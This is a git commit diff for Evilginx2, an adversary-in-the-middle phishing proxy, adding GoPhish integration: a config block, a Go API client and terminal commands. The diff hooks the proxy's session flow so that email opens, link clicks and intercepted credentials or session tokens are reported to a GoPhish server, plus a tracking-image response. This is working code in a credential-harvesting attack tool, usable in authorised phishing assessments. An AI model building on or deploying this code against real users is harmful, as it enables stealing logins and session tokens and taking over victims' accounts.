gophish integration
This commit is contained in:
parent
edadd52339
commit
68d45d0fdb
@ -1,5 +1,7 @@
|
||||
# Unreleased
|
||||
# 3.3.0
|
||||
- Feature: Official GoPhish integration, using the fork: https://github.com/kgretzky/gophish
|
||||
- Feature: Added support to load custom TLS certificates from a public certificate file and a private key file stored in `~/.evilginx/crt/sites/<hostname>/`. Will load `fullchain.pem` and `privkey.pem` pair or a combination of a `.pem`/`.crt` (public certificate) and a `.key` (private key) file. Make sure to run without `-developer` flag and disable autocert retrieval with `config autocert off`.
|
||||
- Feature: Added ability to inject `force_post` POST parameters into JSON content body (by [@yudasm_](https://twitter.com/yudasm_)).
|
||||
- Feature: Added ability to disable automated TLS certificate retrieval from LetsEncrypt with `config autocert <on/off>`.
|
||||
- Feature: Evilginx will now properly recognize origin IP for requests coming from behind a reverse proxy (nginx/apache2/cloudflare/azure).
|
||||
- Fixed: Added support for exported cookies with names prefixed with `__Host-` and `__Secure-`.
|
||||
|
@ -59,6 +59,12 @@ type BlacklistConfig struct {
|
||||
type CertificatesConfig struct {
|
||||
}
|
||||
|
||||
type GoPhishConfig struct {
|
||||
AdminUrl string `mapstructure:"admin_url" json:"admin_url" yaml:"admin_url"`
|
||||
ApiKey string `mapstructure:"api_key" json:"api_key" yaml:"api_key"`
|
||||
InsecureTLS bool `mapstructure:"insecure" json:"insecure" yaml:"insecure"`
|
||||
}
|
||||
|
||||
type GeneralConfig struct {
|
||||
Domain string `mapstructure:"domain" json:"domain" yaml:"domain"`
|
||||
OldIpv4 string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
|
||||
@ -74,6 +80,7 @@ type Config struct {
|
||||
general *GeneralConfig
|
||||
certificates *CertificatesConfig
|
||||
blacklistConfig *BlacklistConfig
|
||||
gophishConfig *GoPhishConfig
|
||||
proxyConfig *ProxyConfig
|
||||
phishletConfig map[string]*PhishletConfig
|
||||
phishlets map[string]*Phishlet
|
||||
@ -94,6 +101,7 @@ const (
|
||||
CFG_PHISHLETS = "phishlets"
|
||||
CFG_BLACKLIST = "blacklist"
|
||||
CFG_SUBPHISHLETS = "subphishlets"
|
||||
CFG_GOPHISH = "gophish"
|
||||
)
|
||||
|
||||
const DEFAULT_UNAUTH_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
|
||||
@ -102,6 +110,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
c := &Config{
|
||||
general: &GeneralConfig{},
|
||||
certificates: &CertificatesConfig{},
|
||||
gophishConfig: &GoPhishConfig{},
|
||||
phishletConfig: make(map[string]*PhishletConfig),
|
||||
phishlets: make(map[string]*Phishlet),
|
||||
phishletNames: []string{},
|
||||
@ -142,6 +151,8 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
|
||||
c.cfg.UnmarshalKey(CFG_BLACKLIST, &c.blacklistConfig)
|
||||
|
||||
c.cfg.UnmarshalKey(CFG_GOPHISH, &c.gophishConfig)
|
||||
|
||||
if c.general.OldIpv4 != "" {
|
||||
if c.general.ExternalIpv4 == "" {
|
||||
c.SetServerExternalIP(c.general.OldIpv4)
|
||||
@ -342,6 +353,33 @@ func (c *Config) SetProxyPassword(password string) {
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetGoPhishAdminUrl(k string) {
|
||||
u, err := url.ParseRequestURI(k)
|
||||
if err != nil {
|
||||
log.Error("invalid url: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
c.gophishConfig.AdminUrl = u.String()
|
||||
c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
|
||||
log.Info("gophish admin url set to: %s", u.String())
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetGoPhishApiKey(k string) {
|
||||
c.gophishConfig.ApiKey = k
|
||||
c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
|
||||
log.Info("gophish api key set to: %s", k)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) SetGoPhishInsecureTLS(k bool) {
|
||||
c.gophishConfig.InsecureTLS = k
|
||||
c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
|
||||
log.Info("gophish insecure set to: %v", k)
|
||||
c.cfg.WriteConfig()
|
||||
}
|
||||
|
||||
func (c *Config) IsLureHostnameValid(hostname string) bool {
|
||||
for _, l := range c.lures {
|
||||
if l.Hostname == hostname {
|
||||
@ -768,3 +806,15 @@ func (c *Config) GetBlacklistMode() string {
|
||||
func (c *Config) IsAutocertEnabled() bool {
|
||||
return c.general.Autocert
|
||||
}
|
||||
|
||||
func (c *Config) GetGoPhishAdminUrl() string {
|
||||
return c.gophishConfig.AdminUrl
|
||||
}
|
||||
|
||||
func (c *Config) GetGoPhishApiKey() string {
|
||||
return c.gophishConfig.ApiKey
|
||||
}
|
||||
|
||||
func (c *Config) GetGoPhishInsecureTLS() bool {
|
||||
return c.gophishConfig.InsecureTLS
|
||||
}
|
||||
|
158
core/gophish.go
Normal file
158
core/gophish.go
Normal file
@ -0,0 +1,158 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
|
||||
"github.com/go-resty/resty/v2"
|
||||
)
|
||||
|
||||
type GoPhish struct {
|
||||
AdminUrl *url.URL
|
||||
ApiKey string
|
||||
InsecureTLS bool
|
||||
}
|
||||
|
||||
type ResultRequest struct {
|
||||
Address string `json:"address"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
}
|
||||
|
||||
func NewGoPhish() *GoPhish {
|
||||
return &GoPhish{}
|
||||
}
|
||||
|
||||
func (o *GoPhish) Setup(adminUrl string, apiKey string, insecureTLS bool) error {
|
||||
|
||||
var u *url.URL = nil
|
||||
var err error
|
||||
if adminUrl != "" {
|
||||
u, err = url.ParseRequestURI(adminUrl)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
o.AdminUrl = u
|
||||
o.ApiKey = apiKey
|
||||
o.InsecureTLS = insecureTLS
|
||||
return nil
|
||||
}
|
||||
|
||||
func (o *GoPhish) Test() error {
|
||||
err := o.validateSetup()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var reqUrl url.URL = *o.AdminUrl
|
||||
reqUrl.Path = fmt.Sprintf("/api/campaigns")
|
||||
return o.apiRequest(reqUrl.String(), nil)
|
||||
}
|
||||
|
||||
func (o *GoPhish) ReportEmailOpened(rid string, address string, userAgent string) error {
|
||||
err := o.validateSetup()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
req := ResultRequest{
|
||||
Address: address,
|
||||
UserAgent: userAgent,
|
||||
}
|
||||
|
||||
content, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var reqUrl url.URL = *o.AdminUrl
|
||||
reqUrl.Path = fmt.Sprintf("/api/results/%s/open", rid)
|
||||
return o.apiRequest(reqUrl.String(), content)
|
||||
}
|
||||
|
||||
func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, userAgent string) error {
|
||||
err := o.validateSetup()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
req := ResultRequest{
|
||||
Address: address,
|
||||
UserAgent: userAgent,
|
||||
}
|
||||
|
||||
content, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var reqUrl url.URL = *o.AdminUrl
|
||||
reqUrl.Path = fmt.Sprintf("/api/results/%s/click", rid)
|
||||
return o.apiRequest(reqUrl.String(), content)
|
||||
}
|
||||
|
||||
func (o *GoPhish) ReportCredentialsSubmitted(rid string, address string, userAgent string) error {
|
||||
err := o.validateSetup()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
req := ResultRequest{
|
||||
Address: address,
|
||||
UserAgent: userAgent,
|
||||
}
|
||||
|
||||
content, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var reqUrl url.URL = *o.AdminUrl
|
||||
reqUrl.Path = fmt.Sprintf("/api/results/%s/submit", rid)
|
||||
return o.apiRequest(reqUrl.String(), content)
|
||||
}
|
||||
|
||||
func (o *GoPhish) apiRequest(reqUrl string, content []byte) error {
|
||||
|
||||
var err error
|
||||
var resp *resty.Response
|
||||
cl := resty.New()
|
||||
|
||||
cl.SetTLSClientConfig(&tls.Config{
|
||||
InsecureSkipVerify: o.InsecureTLS,
|
||||
})
|
||||
|
||||
req := cl.R().
|
||||
SetHeader("Content-Type", "application/json").
|
||||
SetAuthToken(o.ApiKey)
|
||||
|
||||
if content != nil {
|
||||
resp, err = req.SetBody(content).Post(reqUrl)
|
||||
} else {
|
||||
resp, err = req.Get(reqUrl)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
switch resp.StatusCode() {
|
||||
case 200:
|
||||
return nil
|
||||
case 401:
|
||||
return fmt.Errorf("invalid api key")
|
||||
default:
|
||||
return fmt.Errorf("status: %d", resp.StatusCode())
|
||||
}
|
||||
}
|
||||
|
||||
func (o *GoPhish) validateSetup() error {
|
||||
if o.AdminUrl == nil {
|
||||
return fmt.Errorf("admin url is not set")
|
||||
}
|
||||
if o.ApiKey == "" {
|
||||
return fmt.Errorf("api key is not set")
|
||||
}
|
||||
return nil
|
||||
}
|
@ -69,6 +69,7 @@ type HttpProxy struct {
|
||||
cfg *Config
|
||||
db *database.Database
|
||||
bl *Blacklist
|
||||
gophish *GoPhish
|
||||
sniListener net.Listener
|
||||
isRunning bool
|
||||
sessions map[string]*Session
|
||||
@ -113,6 +114,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
cfg: cfg,
|
||||
db: db,
|
||||
bl: bl,
|
||||
gophish: NewGoPhish(),
|
||||
isRunning: false,
|
||||
last_sid: 0,
|
||||
developer: developer,
|
||||
@ -368,6 +370,27 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
|
||||
session, err := NewSession(pl.Name)
|
||||
if err == nil {
|
||||
// set params from url arguments
|
||||
p.extractParams(session, req.URL)
|
||||
|
||||
if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
|
||||
if trackParam, ok := session.Params["o"]; ok {
|
||||
if trackParam == "track" {
|
||||
// gophish email tracker image
|
||||
rid, ok := session.Params["rid"]
|
||||
if ok && rid != "" {
|
||||
log.Info("[gophish] [%s] email opened: %s (%s)", hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
|
||||
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
|
||||
err = p.gophish.ReportEmailOpened(rid, remote_addr, req.Header.Get("User-Agent"))
|
||||
if err != nil {
|
||||
log.Error("gophish: %s", err)
|
||||
}
|
||||
return p.trackerImage(req)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sid := p.last_sid
|
||||
p.last_sid += 1
|
||||
log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
|
||||
@ -375,11 +398,24 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
p.sessions[session.Id] = session
|
||||
p.sids[session.Id] = sid
|
||||
|
||||
if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
|
||||
rid, ok := session.Params["rid"]
|
||||
if ok && rid != "" {
|
||||
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
|
||||
err = p.gophish.ReportEmailLinkClicked(rid, remote_addr, req.Header.Get("User-Agent"))
|
||||
if err != nil {
|
||||
log.Error("gophish: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
landing_url := req_url //fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
|
||||
if err := p.db.CreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr); err != nil {
|
||||
log.Error("database: %v", err)
|
||||
}
|
||||
|
||||
session.RemoteAddr = remote_addr
|
||||
session.UserAgent = req.Header.Get("User-Agent")
|
||||
session.RedirectURL = pl.RedirectUrl
|
||||
if l.RedirectUrl != "" {
|
||||
session.RedirectURL = l.RedirectUrl
|
||||
@ -390,9 +426,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
session.PhishLure = l
|
||||
log.Debug("redirect URL (lure): %s", session.RedirectURL)
|
||||
|
||||
// set params from url arguments
|
||||
p.extractParams(session, req.URL)
|
||||
|
||||
ps.SessionId = session.Id
|
||||
ps.Created = true
|
||||
ps.Index = sid
|
||||
@ -1016,6 +1049,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
log.Error("database: %v", err)
|
||||
}
|
||||
s.Finish(false)
|
||||
|
||||
if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
|
||||
rid, ok := s.Params["rid"]
|
||||
if ok && rid != "" {
|
||||
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
|
||||
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
|
||||
if err != nil {
|
||||
log.Error("gophish: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1145,6 +1189,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
if err == nil {
|
||||
log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path)
|
||||
}
|
||||
|
||||
if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
|
||||
rid, ok := s.Params["rid"]
|
||||
if ok && rid != "" {
|
||||
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
|
||||
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
|
||||
if err != nil {
|
||||
log.Error("gophish: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@ -1222,6 +1277,14 @@ func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Respon
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) trackerImage(req *http.Request) (*http.Request, *http.Response) {
|
||||
resp := goproxy.NewResponse(req, "image/png", http.StatusOK, "")
|
||||
if resp != nil {
|
||||
return req, resp
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) interceptRequest(req *http.Request, http_status int, body string, mime string) (*http.Request, *http.Response) {
|
||||
if mime == "" {
|
||||
mime = "text/plain"
|
||||
@ -1319,6 +1382,8 @@ func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
|
||||
} else {
|
||||
log.Warning("lure parameter checksum doesn't match - the phishing url may be corrupted: %s", v[0])
|
||||
}
|
||||
} else {
|
||||
log.Debug("extractParams: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -26,6 +26,8 @@ type Session struct {
|
||||
RedirectorName string
|
||||
LureDirPath string
|
||||
DoneSignal chan struct{}
|
||||
RemoteAddr string
|
||||
UserAgent string
|
||||
}
|
||||
|
||||
func NewSession(name string) (*Session, error) {
|
||||
@ -48,6 +50,8 @@ func NewSession(name string) (*Session, error) {
|
||||
RedirectorName: "",
|
||||
LureDirPath: "",
|
||||
DoneSignal: make(chan struct{}),
|
||||
RemoteAddr: "",
|
||||
UserAgent: "",
|
||||
}
|
||||
s.CookieTokens = make(map[string]map[string]*database.CookieToken)
|
||||
|
||||
|
@ -187,8 +187,13 @@ func (t *Terminal) handleConfig(args []string) error {
|
||||
autocertOnOff = "on"
|
||||
}
|
||||
|
||||
keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert"}
|
||||
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff}
|
||||
gophishInsecure := "false"
|
||||
if t.cfg.GetGoPhishInsecureTLS() {
|
||||
gophishInsecure = "true"
|
||||
}
|
||||
|
||||
keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
|
||||
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
|
||||
log.Printf("\n%s\n", AsRows(keys, vals))
|
||||
return nil
|
||||
} else if pn == 2 {
|
||||
@ -221,6 +226,18 @@ func (t *Terminal) handleConfig(args []string) error {
|
||||
t.manageCertificates(true)
|
||||
return nil
|
||||
}
|
||||
case "gophish":
|
||||
switch args[1] {
|
||||
case "test":
|
||||
t.p.gophish.Setup(t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), t.cfg.GetGoPhishInsecureTLS())
|
||||
err := t.p.gophish.Test()
|
||||
if err != nil {
|
||||
log.Error("gophish: %s", err)
|
||||
} else {
|
||||
log.Success("gophish: connection successful")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
} else if pn == 3 {
|
||||
switch args[0] {
|
||||
@ -233,6 +250,24 @@ func (t *Terminal) handleConfig(args []string) error {
|
||||
t.cfg.SetServerBindIP(args[2])
|
||||
return nil
|
||||
}
|
||||
case "gophish":
|
||||
switch args[1] {
|
||||
case "admin_url":
|
||||
t.cfg.SetGoPhishAdminUrl(args[2])
|
||||
return nil
|
||||
case "api_key":
|
||||
t.cfg.SetGoPhishApiKey(args[2])
|
||||
return nil
|
||||
case "insecure":
|
||||
switch args[2] {
|
||||
case "true":
|
||||
t.cfg.SetGoPhishInsecureTLS(true)
|
||||
return nil
|
||||
case "false":
|
||||
t.cfg.SetGoPhishInsecureTLS(false)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("invalid syntax: %s", args)
|
||||
@ -1125,7 +1160,8 @@ func (t *Terminal) monitorLurePause() {
|
||||
func (t *Terminal) createHelp() {
|
||||
h, _ := NewHelp()
|
||||
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
|
||||
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off"))))
|
||||
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")),
|
||||
readline.PcItem("gophish", readline.PcItem("admin_url"), readline.PcItem("api_key"), readline.PcItem("insecure", readline.PcItem("true"), readline.PcItem("false")), readline.PcItem("test"))))
|
||||
h.AddSubCommand("config", nil, "", "show all configuration variables")
|
||||
h.AddSubCommand("config", []string{"domain"}, "domain <domain>", "set base domain for all phishlets (e.g. evilsite.com)")
|
||||
h.AddSubCommand("config", []string{"ipv4"}, "ipv4 <ipv4_address>", "set ipv4 external address of the current server")
|
||||
@ -1133,6 +1169,10 @@ func (t *Terminal) createHelp() {
|
||||
h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind <ipv4_address>", "set ipv4 bind address of the current server")
|
||||
h.AddSubCommand("config", []string{"unauth_url"}, "unauth_url <url>", "change the url where all unauthorized requests will be redirected to")
|
||||
h.AddSubCommand("config", []string{"autocert"}, "autocert <on|off>", "enable or disable the automated certificate retrieval from letsencrypt")
|
||||
h.AddSubCommand("config", []string{"gophish", "admin_url"}, "gophish admin_url <url>", "set up the admin url of a gophish instance to communicate with (e.g. https://gophish.domain.com:7777)")
|
||||
h.AddSubCommand("config", []string{"gophish", "api_key"}, "gophish api_key <key>", "set up the api key for the gophish instance to communicate with")
|
||||
h.AddSubCommand("config", []string{"gophish", "insecure"}, "gophish insecure <true|false>", "enable or disable the verification of gophish tls certificate (set to `true` if using self-signed certificate)")
|
||||
h.AddSubCommand("config", []string{"gophish", "test"}, "gophish test", "test the gophish configuration")
|
||||
|
||||
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
|
||||
readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password")))
|
||||
|
9
go.mod
9
go.mod
@ -1,6 +1,6 @@
|
||||
module github.com/kgretzky/evilginx2
|
||||
|
||||
go 1.18
|
||||
go 1.22
|
||||
|
||||
require (
|
||||
github.com/caddyserver/certmagic v0.20.0
|
||||
@ -15,12 +15,13 @@ require (
|
||||
github.com/spf13/viper v1.10.1
|
||||
github.com/tidwall/buntdb v1.1.0
|
||||
go.uber.org/zap v1.27.0
|
||||
golang.org/x/net v0.21.0
|
||||
golang.org/x/net v0.22.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/cenkalti/backoff/v3 v3.0.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.5.1 // indirect
|
||||
github.com/go-resty/resty/v2 v2.12.0 // indirect
|
||||
github.com/hashicorp/hcl v1.0.0 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.7 // indirect
|
||||
github.com/libdns/libdns v0.2.1 // indirect
|
||||
@ -44,9 +45,9 @@ require (
|
||||
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 // indirect
|
||||
github.com/zeebo/blake3 v0.2.3 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
golang.org/x/crypto v0.20.0 // indirect
|
||||
golang.org/x/crypto v0.21.0 // indirect
|
||||
golang.org/x/mod v0.15.0 // indirect
|
||||
golang.org/x/sys v0.17.0 // indirect
|
||||
golang.org/x/sys v0.18.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
golang.org/x/tools v0.18.0 // indirect
|
||||
gopkg.in/ini.v1 v1.66.4 // indirect
|
||||
|
41
go.sum
41
go.sum
@ -123,6 +123,8 @@ github.com/go-ini/ini v1.44.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3I
|
||||
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-resty/resty/v2 v2.12.0 h1:rsVL8P90LFvkUYq/V5BTVe203WfRIU4gvcf+yfzJzGA=
|
||||
github.com/go-resty/resty/v2 v2.12.0/go.mod h1:o0yGPrkS3lOe1+eFajk6kBW8ScXzwU3hD69/gt2yB/0=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
||||
@ -229,6 +231,7 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/labbsr0x/bindman-dns-webhook v1.0.2/go.mod h1:p6b+VCXIR8NYKpDr8/dg1HKfQoRHCdcsROXKvmoehKA=
|
||||
github.com/labbsr0x/goh v1.0.1/go.mod h1:8K2UhVoaWXcCU7Lxoa2omWnC8gyW8px7/lmO61c027w=
|
||||
github.com/libdns/libdns v0.2.1 h1:Wu59T7wSHRgtA0cfxC+n1c/e+O3upJGWytknkmFEDis=
|
||||
@ -333,6 +336,7 @@ github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81P
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/subosito/gotenv v1.2.0 h1:Slr1R9HxAlEKefgq5jn9U+DnETlIUa6HfgEzj0g5d7s=
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 h1:QnyrPZZvPmR0AtJCxxfCtI1qN+fYpKTKJ/5opWmZ34k=
|
||||
@ -363,6 +367,7 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
|
||||
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
|
||||
github.com/zeebo/blake3 v0.2.3 h1:TFoLXsjeXqRNFxSbk35Dk4YtszE/MQQGK10BH4ptoTg=
|
||||
@ -379,6 +384,7 @@ go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
|
||||
go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
|
||||
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||
go.uber.org/ratelimit v0.0.0-20180316092928-c15da0234277/go.mod h1:2X8KaoNd1J0lZV+PxJk/5+DGbO/tpwLR1m++a7FnB/Y=
|
||||
@ -395,9 +401,11 @@ golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8U
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
